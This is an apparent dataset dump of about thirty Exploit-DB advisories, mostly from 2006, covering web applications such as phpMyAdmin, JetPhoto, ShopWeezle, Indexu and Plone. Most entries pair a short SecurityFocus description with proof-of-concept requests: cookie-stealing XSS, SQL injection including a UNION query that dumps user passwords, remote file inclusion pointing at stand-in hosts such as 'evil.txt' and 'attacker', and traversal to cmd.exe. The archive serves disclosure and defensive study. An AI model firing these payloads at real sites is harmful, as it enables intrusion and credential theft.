QLWD/code_shield huggingface dataset:
标题: PHPAlbum 0.2.2/0.2.3/4.1 - 'Language.php' File Inclusion EDB-ID: 27643 CVE: 2006-1839 类型: WEBAPPS 平台: PHP 发布日期: 2006-04-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/17526/info

phpAlbum is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input. 

An attacker can exploit this issue to execute arbitrary remote PHP code on an affected computer with the privileges of the webserver process. This may facilitate unauthorized access. 

phpAlbum 0.3.2.3 and prior versions are affected.

phpAlbum is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input. 

An attacker can exploit this issue to execute arbitrary remote PHP code on an affected computer with the privileges of the webserver process. This may facilitate unauthorized access. 

phpAlbum 0.3.2.3 and prior versions are affected. URL: https://www.exploit-db.com/exploits/27643
标题: Opera Web Browser 8.52 - Stylesheet Attribute Buffer Overflow EDB-ID: 27641 CVE: 2006-1834 类型: DOS 平台: LINUX 发布日期: 2006-04-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/17513/info

Opera is prone to a buffer-overflow vulnerability. This issue is due to the application's failure to properly bounds-check user-supplied input before using it in a string-copy operation.

This issue allows remote attackers to crash affected web browsers. Due to the nature of this issue, attackers may be able to exploit this issue to execute machine code, but this has not been confirmed.

Opera version 8.52 is vulnerable to this issue; other versions may also be affected.

<STYLE type=text/css>A { FONT-FAMILY: 35000x'A' } </STYLE> URL: https://www.exploit-db.com/exploits/27641
标题: Adobe Document Server 6.0 Extensions - 'ads-readerext?actionID' Cross-Site Scripting EDB-ID: 27636 CVE: 2006-1786 类型: REMOTE 平台: MULTIPLE 发布日期: 2006-04-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/17500/info

Adobe Document Server for Reader Extensions, included with Graphics Server and Document Server, is prone to multiple vulnerabilities that may allow remote attackers to:

- perform cross-site scripting attacks
- gain access to potentially sensitive information
- bypass security restrictions to gain administrative access to the application.

Adobe Document Server for Reader Extensions version 6.0, included with Adobe Graphics Server 2.1 and Adobe Document Server 6.0, is vulnerable; other versions may also be affected.

http://www.example.com:8019/ads-readerext/ads-readerext?actionID=[code] URL: https://www.exploit-db.com/exploits/27636
标题: phpMyAdmin 2.7 - 'sql.php' Cross-Site Scripting EDB-ID: 27632 CVE: 2006-1803 类型: WEBAPPS 平台: PHP 发布日期: 2005-10-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/17487/info

PHPMyAdmin is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com//phpmyadmin/sql.php?lang=de-utf-8&server=1&collation_connection=utf8_general_ci&db=fu&table=fu&goto=tbl_properties_structure.php&back=tbl_properties_structure.php&sql
_query=SELECT+*+FROM+%60'%3Cscript%3Ealert(document.cookie)%3C/script%3E'%60 URL: https://www.exploit-db.com/exploits/27632
标题: W3C Amaya 9.4 - textarea rows Attribute Value Overflow EDB-ID: 27639 CVE: 2006-1900 类型: DOS 平台: MULTIPLE 发布日期: 2006-04-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/17507/info

W3C Amaya is susceptible to multiple remote buffer-overflow vulnerabilities. These issues are due to the application's failure to properly bounds-check user-supplied data before copying it to insufficiently sized memory buffers.

Remote attackers may exploit this issue to execute arbitrary machine code in the context of the affected application. Failed exploit attempts likely crash the application.

Amaya version 9.4 is affected by these issues; other versions may also be vulnerable.

<textarea rows="Ax200"> URL: https://www.exploit-db.com/exploits/27639
标题: Adobe Document Server 6.0 Extensions - 'AlterCast?op' Cross-Site Scripting EDB-ID: 27637 CVE: 2006-1786 类型: REMOTE 平台: MULTIPLE 发布日期: 2006-04-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/17500/info
 
Adobe Document Server for Reader Extensions, included with Graphics Server and Document Server, is prone to multiple vulnerabilities that may allow remote attackers to:
 
- perform cross-site scripting attacks
- gain access to potentially sensitive information
- bypass security restrictions to gain administrative access to the application.
 
Adobe Document Server for Reader Extensions version 6.0, included with Adobe Graphics Server 2.1 and Adobe Document Server 6.0, is vulnerable; other versions may also be affected.

http://www.example.com:8019/altercast/AlterCast?op=[code] URL: https://www.exploit-db.com/exploits/27637
标题: PatroNet CMS - 'index.php' Cross-Site Scripting EDB-ID: 27634 CVE: 2006-1783 类型: WEBAPPS 平台: PHP 发布日期: 2006-04-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/17495/info

PatroNet CMS is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/"><script>alert(/Soot/)</script> URL: https://www.exploit-db.com/exploits/27634
标题: PowerClan 1.14 - 'member.php' SQL Injection EDB-ID: 27645 CVE: 2006-1805 类型: WEBAPPS 平台: PHP 发布日期: 2006-04-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/17528/info

PowerClan is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

PowerClan version 1.14 is reported vulnerable. Other versions may be affected as well.

http://www.example.com/member.php?pcpage=showmember&memberid=[SQL] URL: https://www.exploit-db.com/exploits/27645
标题: Chipmunk Guestbook 1.3 - 'index.php' SQL Injection EDB-ID: 27629 CVE: 2006-1683 类型: WEBAPPS 平台: PHP 发布日期: 2006-04-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/17483/info

Chipmunk Guestbook is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/user/index.php?SID=[SQL] URL: https://www.exploit-db.com/exploits/27629
标题: SWSoft Confixx 3.0.6/3.0.8/3.1.2 - 'index.php' SQL Injection EDB-ID: 27628 CVE: 2006-1754 类型: WEBAPPS 平台: PHP 发布日期: 2006-04-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/17476/info

Confixx is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/user/index.php?SID=[SQL] URL: https://www.exploit-db.com/exploits/27628
标题: Interaktiv.shop 4/5 - Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 27631 CVE: 2006-1709 类型: WEBAPPS 平台: CGI 发布日期: 2006-04-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/17485/info

interaktiv.shop is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/cgi-bin/interaktiv.shop/front/shop_main.cgi?func=det&wkid=41587822301246215&rub1=Footprints&rub2=Architect&artnr=114&pn=%22%3Cscript%3Ealert('r0t')%3C/script%3E

http://www.example.com/cgi-bin/interaktiv.shop/front/shop_main.cgi?func=searchdo&sfields=&wkid=41587822301246215&rub1_search=all&sfield=1&sbeg=%22%3Cscript%3Ealert('r0t')%3C/script%3E URL: https://www.exploit-db.com/exploits/27631
标题: Saxopress - 'URL' Directory Traversal EDB-ID: 27627 CVE: 2006-1771 类型: REMOTE 平台: WINDOWS 发布日期: 2006-04-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/17474/info

SAXoPRESS is prone to a directory-traversal vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker can exploit this vulnerability to retrieve and execute arbitrary files from the vulnerable system in the context of the affected application. Information obtained may aid attackers in further attacks.

http://www.example.com/apps/pbcs.dll/misc?url=../../../../../../../../../../winnt/system.ini
http://www.example.com/apps/pbcs.dll/misc?url=../../../../../../../../../../winnt/system32/cmd.exe URL: https://www.exploit-db.com/exploits/27627
标题: JetPhoto 1.0/2.0/2.1 - 'gallery.php?page' Cross-Site Scripting EDB-ID: 27617 CVE: 2006-1760 类型: WEBAPPS 平台: PHP 发布日期: 2006-04-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/17449/info
 
JetPhoto is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
 
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/[path]/view/Classic.view/gallery.php?name=JetPhoto_Album&page=<script>alert(document.cookie);</script> URL: https://www.exploit-db.com/exploits/27617
标题: Plone 2.x - MembershipTool Access Control Bypass EDB-ID: 27630 CVE: 2006-1711 类型: REMOTE 平台: LINUX 发布日期: 2006-04-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/17484/info

Plone is susceptible to a remote access-control bypass vulnerability. This issue is due to the application's failure to properly enforce privileges to various MembershipTool methods.

This issue allows remote, anonymous attackers to modify and delete portrait images of members. This may help attackers exploit latent vulnerabilities in image-rendering software. Other attacks may also be possible.

curl -F portrait=<path_to_file> --form-string member_id=[username] http://www.example.com/portal_membership/changeMemberPortrait URL: https://www.exploit-db.com/exploits/27630
标题: Tritanium Bulletin Board 1.2.3 - Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 27626 CVE: 2006-1768 类型: WEBAPPS 平台: PHP 发布日期: 2006-04-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/17473/info

Tritanium Bulletin Board is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/index.php?faction=register&newuser_name=[XSS]
http://www.example.com/index.php?faction=register&newuser_email=[XSS]
http://www.example.com/index.php?faction=register&newuser_hp=[XSS] URL: https://www.exploit-db.com/exploits/27626
标题: Indexu 5.0 - Multiple Remote File Inclusions EDB-ID: 27625 CVE: 2006-1767 类型: WEBAPPS 平台: PHP 发布日期: 2006-04-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/17470/info

The 'indexu' application is prone to multiple remote file-include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit these issues to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may facilitate a compromise of the application and the underlying system; other attacks are also possible.

These issues are reported to affect versions 5.0.0 and 5.0.1; other versions may also be vulnerable.

http://www.example.com/indexu/invoice.php?base_path=http://evil.txt?cmd?cmd
http://www.example.com/indexu/index.php?theme_path=http://evil.txt?cmd
http://www.example.com/indexu/become_editor.php?theme_path=http://evil.txt?cmd
http://www.example.com/indexu/add.php?theme_path=http://evil.txt?cmd
http://www.example.com/indexu/bad_link.php?theme_path=http://evil.txt
http://www.example.com/indexu/browse.php?theme_path=http://evil.txt?cmd
http://www.example.com/indexu/detail.php?theme_path=http://evil.txt?cmd
http://www.example.com/indexu/fav.php?theme_path=http://evil.txt?cmd
http://www.example.com/indexu/get_rated.php?theme_path=http://evil.txt?cmd
http://www.example.com/indexu/login.php?theme_path=http://evil.txt?cmd
http://www.example.com/indexu/mailing_list.php?theme_path=http://evil.txt?cmd
http://www.example.com/indexu/new.php?theme_path=http://evil.txt?cmd
http://www.example.com/indexu/modify.php?theme_path=http://evil.txt?cmd
http://www.example.com/indexu/pick.php?theme_path=http://evil.txt?cmd
http://www.example.com/indexu/power_search.php?theme_path=http://evil.txt?cmd
http://www.example.com/indexu/rating.php?theme_path=http://evil.txt?cmd
http://www.example.com/indexu/rating.php?theme_path=http://evil.txt?cmd?cmd
http://www.example.com/indexu/register.php?theme_path=http://evil.txt?cmd?cmd
http://www.example.com/indexu/review.php?theme_path=http://evil.txt?cmd?cmd
http://www.example.com/indexu/rss.php?theme_path=http://evil.txt?cmd?cmd
http://www.example.com/indexu/search.php?theme_path=http://evil.txt?cmd?cmd
http://www.example.com/indexu/send_pwd.php?theme_path=http://evil.txt?cmd?cmd
http://www.example.com/indexu/sendmail.php?theme_path=http://evil.txt?cmd?cmd
http://www.example.com/indexu/tell_friend.php?theme_path=http://evil.txt?cmd?cmd
http://www.example.com/indexu/top_rated.php?theme_path=http://evil.txt?cmd?cmd
http://www.example.com/indexu/user_detail.php?theme_path=http://evil.txt?cmd?cmd
http://www.example.com/indexu/user_search.php?theme_path=http://evil.txt?cmd?cmd URL: https://www.exploit-db.com/exploits/27625
标题: SWSoft Confixx 3.1.2 - 'Jahr' Cross-Site Scripting EDB-ID: 27623 CVE: 2006-1759 类型: WEBAPPS 平台: PHP 发布日期: 2006-04-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/17466/info

Confixx is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Confixx 3.1.2 is reported vulnerable. Other versions may be affected as well.

http://www.example.com/allgemein_transfer.php?monat=4&jahr=[XSS] URL: https://www.exploit-db.com/exploits/27623
标题: Clever Copy 3.0 - 'Connect.INC' Information Disclosure EDB-ID: 27621 CVE: 2006-1718 类型: WEBAPPS 平台: PHP 发布日期: 2006-04-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/17461/info

Clever Copy is prone to an information-disclosure vulnerability. A remote attacker could leverage this issue to gain access to sensitive configuration information. The attacker could then use this information to launch further attacks against the system.

Clever Copy 3.0 is affected; other versions may also be vulnerable.

http://www.example.com/[clevercopy_path]/admin/connect.inc URL: https://www.exploit-db.com/exploits/27621
标题: JetPhoto 1.0/2.0/2.1 - 'detail.php?page' Cross-Site Scripting EDB-ID: 27619 CVE: 2006-1760 类型: WEBAPPS 平台: PHP 发布日期: 2006-04-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/17449/info
   
JetPhoto is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
   
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/[path]/view/Classic.view/detail.php?name=JetPhoto_Album&page=<script>alert(document.cookie);</script> URL: https://www.exploit-db.com/exploits/27619
标题: PHPKIT 1.6.1 R2 - 'Include.php' SQL Injection EDB-ID: 27624 CVE: 2006-1773 类型: WEBAPPS 平台: PHP 发布日期: 2006-04-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/17467/info

PHPKIT is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/phpkit/include.php?path=content/news.php&contentid=-24'%20union%20select%201,2,3,user_status,5,user_nick,user_pw,8,9,0,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26%20from%20phpkit_user%20/* URL: https://www.exploit-db.com/exploits/27624
标题: JetPhoto 1.0/2.0/2.1 - 'Slideshow.php?name' Cross-Site Scripting EDB-ID: 27618 CVE: 2006-1760 类型: WEBAPPS 平台: PHP 发布日期: 2006-04-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/17449/info
  
JetPhoto is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
  
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/[path]/view/Orange.view/slideshow.php?name=<script></script><script>alert(document.cookie);</script> URL: https://www.exploit-db.com/exploits/27618
标题: Microsoft FrontPage - Server Extensions Cross-Site Scripting EDB-ID: 27620 CVE: 2006-0015 类型: WEBAPPS 平台: CGI 发布日期: 2006-04-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/17452/info

Microsoft FrontPage Server Extensions are prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before it is rendered to other users. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user, with the privileges of the victim userâ??s account. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

<form action=http://www.example.com/_vti_bin/_vti_adm/fpadmdll.dll method="POST">
<input type="hidden" name="operation" value="--><script>alert()</script>">
<input type="hidden" name="action" value="none">
<input type="hidden" name="port" value="/LM/W3SVC/1:">
<input type="submit" name="page" value="healthrp.htm">
</form> URL: https://www.exploit-db.com/exploits/27620
标题: ShopWeezle 2.0 - 'memo.php?itemID' SQL Injection EDB-ID: 27614 CVE: 2006-1706 类型: WEBAPPS 平台: PHP 发布日期: 2006-04-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/17441/info
  
ShopWeezle is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 
  
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/memo.php?itemID=1[SQL] URL: https://www.exploit-db.com/exploits/27614
标题: ShopWeezle 2.0 - 'index.php' Multiple SQL Injections EDB-ID: 27613 CVE: 2006-1706 类型: WEBAPPS 平台: PHP 发布日期: 2006-04-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/17441/info
 
ShopWeezle is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 
 
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/index.php?x=0&itemgr=1[SQL]
http://www.example.com/index.php?caller=xlink&url=brand.php&brandID=1[SQL]
http://www.example.com/index.php?x=0&caller=xlink&url=gallery.php&album=1[SQL] URL: https://www.exploit-db.com/exploits/27613
标题: DotNetNuke DNNArticle Module 10.0 - SQL Injection EDB-ID: 27602 CVE: 2013-5117 类型: WEBAPPS 平台: PHP 发布日期: 2013-08-15 漏洞利用脚本: Title: DotNetNuke (DNNArticle Module) SQL Injection Vulnerability
References: CVE-2013-5117
Discovered by: Sajjad Pourali

Vendor http://www.zldnn.com/ , http://www.dnnarticle.com/
Vendor advisory: http://www.zldnn.com/Support/tabid/643/ctl/RecordList/mid/1691/ItemID/2979/Default.aspx (Ticket iD:#2979)
Vendor contact: 2013-8-14

Solution: http://www.zldnn.com/Support/tabid/643/ctl/RecordList/mid/1691/ItemID/2979/Default.aspx (Ticket iD:#2979)
 
Remote: yes
Authentication required: no
User interaction required: no
Impact: High
 
Affected:

 - DNNArticle 10.0 and earlier

---

PoC:

http://server/desktopmodules/dnnarticle/dnnarticlerss.aspx?moduleid=0&categoryid=1+or+1=@@version
 
---
 
 + Sajjad Pourali
 + http://www.securation.com/
 + http://www.cert.um.ac.ir/
 + Contact: sajjad[at]securation.com URL: https://www.exploit-db.com/exploits/27602
标题: ShopWeezle 2.0 - 'login.php?itemID' SQL Injection EDB-ID: 27612 CVE: 2006-1706 类型: WEBAPPS 平台: PHP 发布日期: 2006-04-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/17441/info

ShopWeezle is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/login.php?caller=xlink&url=detail.php&itemID=1[SQL] URL: https://www.exploit-db.com/exploits/27612
标题: AzDGVote - Remote File Inclusion EDB-ID: 27615 CVE: 2006-1770 类型: WEBAPPS 平台: PHP 发布日期: 2006-04-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/17447/info

AzDGVote is prone to a remote file-include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/poll/view.php?int_path=http://attacker
http://www.example.com/ordinaopenpodcast/script/poll/view.php?int_path=http://attacker URL: https://www.exploit-db.com/exploits/27615
标题: JetPhoto 1.0/2.0/2.1 - 'thumbnail.php?page' Cross-Site Scripting EDB-ID: 27616 CVE: 2006-1760 类型: WEBAPPS 平台: PHP 发布日期: 2006-04-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/17449/info

JetPhoto is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/[path]/view/Classic.view/thumbnail.php?name=webalbum&page=<script>alert(document.cookie);</script> URL: https://www.exploit-db.com/exploits/27616